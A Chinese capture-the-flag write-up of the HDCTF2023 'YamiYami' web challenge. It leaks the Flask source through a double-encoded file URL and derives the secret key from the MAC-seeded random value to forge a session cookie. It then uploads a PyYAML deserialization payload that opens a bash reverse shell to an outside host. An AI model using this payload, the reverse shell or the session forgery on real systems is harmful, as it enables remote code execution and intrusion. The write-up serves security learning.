提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
- 前言
- 涉及知识点
- 解题详细过程
- session伪造
- 反弹shell
前言
从暑假末尾一直搁置,当时卡在反弹shell搞得离flag就差一步。不过最近一两天学习完反弹shell的知识后,直接拿下此题,学习了好几个没学过知识。
涉及知识点
- Yami反序列化
- session伪造
- seed生成伪随机数
- 反弹shell
- 读取源码
解题详细过程
打开题目,大概看一下不同功能
第一个Read应该是可以读取代码
然后第二个可以上传文件
最后一个点进去发现提示我们查看/app
我们点击第一个链接,输入
?url=file:///app/app.py
发现不行,那么我们用url二次编码绕过
app/app.py --> %2561%2570%2570%252F%2561%2570%2570%252E%2570%2579
成功得到源码
我们整理一下,源码如下
# encoding:utf-8
import os
import requests
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml #问题所在 pyyaml反序列化
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = False
BLACK_LIST = ["yaml", "YAML", "YML", "yml", "yamiyami"]
app.config['UPLOAD_FOLDER'] = "/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport") == "Welcome To HDCTF2023":
LoadedFile = request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__ == '__main__':`在这里插入代码片`
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
分析一下
定义了load()函数,用于处理/boogipop
路由的请求。看看if条件,先是对session值进行验证,然后获取文件名。最后可以发现存在反序列化漏洞,因为yaml.full_load() 对用户上传的文件进行反序列化操作。
再看看upload_file()函数,就是对上传文件进行验证,拓展名是否在黑名单中。
这里的上传黑名单禁掉了Yaml等,这其实是一个难点。但是上传txt文件也能被解析成Yaml。猜测可能是:这里full_load调用了load函数,而load函数输入的是一个steam,也就是流,二进制文件,所以不管是什么后缀都无关紧要了
为了绕过load()函数的if条件限制,我们首要目的是session伪造
session伪造
其中密钥的获取方法,题目已经告诉我们
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
关于uuid.getnode()函数
uuid.getnode() 是 Python 中的一个函数,用于获取本地计算机的 MAC 地址(物理地址)作为一个 48 位整数。它属于 uuid 模块,用于生成和操作 UUID(通用唯一标识符)。
对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序为固定的,所以只要知道seed的值即可。这里看到seed使用的uuid.getnode()函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。
?url=file:///sys/class/net/eth0/address
生成伪随机数脚本
import uuid,random
random.seed(0x0242ac02ad42)
print(str(random.random()*233))
生成后,用工具flask-session-cookie
解密
python flask_session_cookie_manager3.py decode -s "76.57659277973795" -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZPiBMQ._UO0MSFCniq6fzbPNKFVXmRAnJ8"
加密
python flask_session_cookie_manager3.py encode -s "76.57659277973795" -t "{'passport': 'Welcome To HDCTF2023'}"
准备好session
反弹shell
要上传的反弹shell脚本,命名为1.txt
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/f57819674z.imdo.co/29964 0>&1\"')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
在上传界面上传,然后访问./boogipop?file=uploads/1.txt
发现不行(这里就要用到伪造的session)
我们先打开kali监听一下
nc -lvp 1028
然后bp抓包,修改session值
成功反弹shell
ls一下,发现flag.sh是假的
真的flag在/tmp里,得到flag